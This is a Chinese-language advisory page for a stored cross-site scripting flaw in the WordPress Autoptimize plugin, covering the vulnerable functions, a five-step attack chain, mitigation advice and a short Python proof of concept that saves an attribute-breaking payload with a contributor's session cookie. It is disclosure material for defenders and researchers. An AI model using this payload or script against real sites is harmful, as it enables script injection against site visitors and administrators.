CVE-2026-2352 CVSS 6.4 中危

CVE-2026-2352: WordPress Autoptimize插件存储型XSS漏洞

披露日期: 2026-03-21

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-2352

漏洞类型

存储型跨站脚本

CVSS评分

6.4 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

WordPress Autoptimize Plugin

漏洞概述

WordPress插件Autoptimize在3.1.14及之前版本中存在存储型XSS漏洞。该漏洞源于`ao_metabox_save()`函数输入清理不足，且`autoptimizeImages.php`在输出`<link>`标签时未进行转义。具有Contributor及以上权限的攻击者可在启用图片优化或懒加载配置时，注入任意Web脚本并执行，影响页面安全性。

技术细节

该漏洞源于WordPress插件Autoptimize对特定meta值的处理不当。具体而言，漏洞发生在`ao_post_preload`这个自定义字段的存储与输出环节。插件在`autoptimizeMetabox.php`文件的`ao_metabox_save()`函数中接收并保存用户输入时，缺乏必要的输入清理机制，允许恶意字符被存入数据库。随后，在`autoptimizeImages.php`文件中，当系统尝试渲染图片预加载链接时，直接将数据库中未经转义的`ao_post_preload`值嵌入到HTML的`<link>`标签属性内。由于输出未进行HTML实体转义，当访问者浏览包含该恶意payload的页面，且插件配置中开启了“Image optimization”或“Lazy-load images”功能时，嵌入的脚本将在浏览器上下文中执行，实现存储型XSS攻击。

攻击链分析

STEP 1

步骤1：获取权限

攻击者注册或获取一个具有Contributor（投稿者）或更高权限的WordPress账户。

STEP 2

步骤2：注入Payload

攻击者编辑或新建文章，在`ao_post_preload` meta字段中插入包含JavaScript代码的恶意payload（例如：`" onerror="alert(1)`）。

STEP 3

步骤3：数据存储

插件调用`ao_metabox_save()`函数保存文章设置，由于缺乏输入清理，恶意代码被存储到数据库中。

STEP 4

步骤4：触发渲染

当普通用户或管理员访问受感染的文章页面时，如果插件启用了图片优化或懒加载功能，`autoptimizeImages.php`会读取该值。

STEP 5

步骤5：执行攻击

恶意值被直接输出到HTML `<link>`标签中，导致攻击者注入的脚本在受害者浏览器中执行。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# Exploit Title: WordPress Autoptimize < 3.1.15 Stored XSS via ao_post_preload
# Description: Inject malicious script into the ao_post_preload field.

import requests

target_url = "http://example.com/wp-admin/post.php"
cookies = {
    "wordpress_logged_in_xxx": "..."  # Authenticated user cookie (Contributor+)
}
payload = '" onerror="alert(1)'

# Data to simulate saving the post with the malicious meta value
data = {
    "action": "editpost",
    "post_ID": "1",
    "meta_input[ao_post_preload]": payload,
    # ... other required form fields like _wpnonce
}

response = requests.post(target_url, data=data, cookies=cookies)
if response.status_code == 200:
    print("Payload injected successfully.")
    print("Visit the post page with Image Optimization enabled to trigger XSS.")

影响范围

Autoptimize <= 3.1.14

防御指南

临时缓解措施

建议立即更新插件至最新版本。若无法立即更新，可临时禁用插件中的“Image optimization”和“Lazy-load images”功能，或者撤销Contributor及以上角色的编辑权限，直到完成修复。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表